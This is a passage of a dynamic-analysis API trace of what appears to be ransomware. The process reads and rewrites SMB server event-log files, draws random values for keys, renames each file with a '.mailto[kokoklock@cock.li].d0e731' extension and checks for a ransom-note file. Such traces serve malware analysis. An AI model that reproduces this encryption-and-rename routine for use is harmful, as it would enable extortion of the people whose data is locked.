lpOverlapped=0x0) returned 1 [0167.554] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xafef79c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xafef79c*=0x4, lpOverlapped=0x0) returned 1 [0167.554] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xafef79c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xafef79c*=0x6c, lpOverlapped=0x0) returned 1 [0167.555] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xafef79c, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xafef79c*=0x20, lpOverlapped=0x0) returned 1 [0167.555] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xafef79c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xafef79c*=0x4, lpOverlapped=0x0) returned 1 [0167.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.555] CloseHandle (hObject=0x528) returned 1 [0167.555] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc4670 [0167.555] wcscpy (in: _Dest=0x2fc4670, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" [0167.555] wcscat (in: _Dest=0x2fc4670, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.555] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.556] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.556] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4670) returned 1 [0167.556] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.556] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.556] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.556] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.556] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.556] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ece0) returned 1 [0167.556] RtlExitUserThread (Status=0x1) Thread: id = 1665 os_tid = 0xd64 [0167.558] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.558] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.559] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.559] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb06fafc | out: lpFileSize=0xb06fafc*=69824) returned 1 [0167.559] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.559] ReadFile (in: hFile=0x528, lpBuffer=0xb06fad0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb06facc, lpOverlapped=0x0 | out: lpBuffer=0xb06fad0*, lpNumberOfBytesRead=0xb06facc*=0x4, lpOverlapped=0x0) returned 1 [0167.560] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96638 [0167.560] NtQuerySystemTime (in: CurrentTime=0xb06faa8 | out: CurrentTime=0xb06faa8*=132121213248749174) returned 0x0 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x809f2ef8 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x6db9edf6 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x235ef6cb [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x729d191d [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x69bd357d [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0xc6731fe6 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x8d46e64a [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x74a8118f [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x6b9cfb3 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x81a9c850 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x501de5ab [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x855dca31 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0xc20e8879 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x454a1e79 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x6623d14c [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x8596b705 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0xcfa94865 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0xe23a4079 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0xdbec5991 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x2e1edef5 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0xec4ecbbe [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x23238425 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x1d9cfbc6 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x76c2ade3 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x2a79e1d3 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x10447626 [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x2277cbcd [0167.560] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0xce34bfe1 [0167.561] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x78c30258 [0167.561] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x43db9694 [0167.561] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0xb37b9cb [0167.561] RtlRandom (in: Seed=0xb06fab4 | out: Seed=0xb06fab4) returned 0x3cb6c42c [0167.569] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.571] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.571] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.571] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.571] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.571] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb06fa80, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb06fa80*=0x4096, lpOverlapped=0x0) returned 1 [0167.572] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96660 [0167.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96660) returned 1 [0167.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.573] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96660 [0167.573] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96688 [0167.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96688) returned 1 [0167.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.573] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb06fa80, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb06fa80*=0x4096, lpOverlapped=0x0) returned 1 [0167.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.573] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.573] WriteFile (in: hFile=0x528, lpBuffer=0x2f96660*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb06fab8, lpOverlapped=0x0 | out: lpBuffer=0x2f96660*, lpNumberOfBytesWritten=0xb06fab8*=0x20, lpOverlapped=0x0) returned 1 [0167.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96660) returned 1 [0167.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.573] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb06facc, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xb06facc*=0x8, lpOverlapped=0x0) returned 1 [0167.574] WriteFile (in: hFile=0x528, lpBuffer=0xb06fae4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb06facc, lpOverlapped=0x0 | out: lpBuffer=0xb06fae4*, lpNumberOfBytesWritten=0xb06facc*=0x4, lpOverlapped=0x0) returned 1 [0167.574] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb06facc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb06facc*=0x4, lpOverlapped=0x0) returned 1 [0167.574] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb06facc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb06facc*=0x6c, lpOverlapped=0x0) returned 1 [0167.574] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb06facc, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb06facc*=0x20, lpOverlapped=0x0) returned 1 [0167.574] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb06facc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb06facc*=0x4, lpOverlapped=0x0) returned 1 [0167.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.574] CloseHandle (hObject=0x528) returned 1 [0167.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f85218 [0167.574] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" [0167.575] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.575] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.575] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0167.576] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.576] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.576] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.576] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.576] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83738) returned 1 [0167.576] RtlExitUserThread (Status=0x1) Thread: id = 1666 os_tid = 0xd6c [0167.577] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.577] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.577] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.578] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb0efaec | out: lpFileSize=0xb0efaec*=69824) returned 1 [0167.578] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.578] ReadFile (in: hFile=0x528, lpBuffer=0xb0efac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb0efabc, lpOverlapped=0x0 | out: lpBuffer=0xb0efac0*, lpNumberOfBytesRead=0xb0efabc*=0x4, lpOverlapped=0x0) returned 1 [0167.579] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.579] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.579] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.579] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96660 [0167.579] NtQuerySystemTime (in: CurrentTime=0xb0efa98 | out: CurrentTime=0xb0efa98*=132121213248906082) returned 0x0 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x5ba83102 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x474db68d [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x572fc61e [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xc00f6782 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x6d9d366f [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x805e69c1 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x3aa5939b [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xd2333d36 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x23614719 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x11baabb9 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x3cb210df [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x8d08b90 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x3039a006 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xa7d5fb72 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x1c712de4 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xd83a9085 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x3bfbaf6a [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xdc07f799 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x91af6134 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x7440394f [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x16d52264 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xdaf14ce4 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xae133079 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x18e82187 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x4fcc81cd [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xd257372e [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x89a397e3 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x29ce9cf0 [0167.579] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xec15445b [0167.580] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x7b0b425 [0167.580] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0x3e09fb20 [0167.580] RtlRandom (in: Seed=0xb0efaa4 | out: Seed=0xb0efaa4) returned 0xec39a7db [0167.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.590] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.590] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb0efa70, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb0efa70*=0x4096, lpOverlapped=0x0) returned 1 [0167.591] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96688 [0167.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96688) returned 1 [0167.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.592] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96688 [0167.592] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966b0 [0167.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966b0) returned 1 [0167.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.592] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb0efa70, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb0efa70*=0x4096, lpOverlapped=0x0) returned 1 [0167.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.592] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.592] WriteFile (in: hFile=0x528, lpBuffer=0x2f96688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb0efaa8, lpOverlapped=0x0 | out: lpBuffer=0x2f96688*, lpNumberOfBytesWritten=0xb0efaa8*=0x20, lpOverlapped=0x0) returned 1 [0167.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96688) returned 1 [0167.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.592] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb0efabc, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xb0efabc*=0x8, lpOverlapped=0x0) returned 1 [0167.592] WriteFile (in: hFile=0x528, lpBuffer=0xb0efad4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb0efabc, lpOverlapped=0x0 | out: lpBuffer=0xb0efad4*, lpNumberOfBytesWritten=0xb0efabc*=0x4, lpOverlapped=0x0) returned 1 [0167.593] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb0efabc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb0efabc*=0x4, lpOverlapped=0x0) returned 1 [0167.593] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb0efabc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb0efabc*=0x6c, lpOverlapped=0x0) returned 1 [0167.593] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb0efabc, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb0efabc*=0x20, lpOverlapped=0x0) returned 1 [0167.593] WriteFile (in: 